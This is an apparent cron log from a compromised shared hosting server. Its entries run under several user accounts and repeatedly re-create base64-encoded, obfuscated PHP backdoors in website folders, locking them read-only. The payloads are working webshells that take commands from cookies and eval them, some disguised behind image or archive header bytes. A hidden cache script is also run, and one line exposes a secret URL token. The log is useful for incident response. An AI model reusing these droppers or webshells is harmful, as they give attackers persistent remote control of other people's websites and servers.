Jun  7 12:42:01 medusa CROND[19373]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:42:01 medusa CROND[19376]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:43:02 medusa CROND[21047]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:43:02 medusa CROND[21095]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:43:02 medusa CROND[21093]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 12:43:02 medusa CROND[21094]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:43:02 medusa CROND[21097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:43:02 medusa CROND[21098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:43:02 medusa CROND[21096]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:43:02 medusa CROND[21099]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:43:02 medusa CROND[21100]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 12:43:02 medusa CROND[21101]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:43:02 medusa CROND[21102]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Jun  7 12:43:02 medusa CROND[21105]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:43:02 medusa CROND[21104]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:43:02 medusa CROND[21106]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:44:01 medusa CROND[22653]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:44:01 medusa CROND[22702]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 12:44:01 medusa CROND[22703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:44:01 medusa CROND[22704]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:44:01 medusa CROND[22705]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:44:01 medusa CROND[22706]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:44:01 medusa CROND[22707]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:44:01 medusa CROND[22709]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:44:01 medusa CROND[22715]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:44:01 medusa CROND[22716]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:44:01 medusa CROND[22717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:44:01 medusa CROND[22718]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; 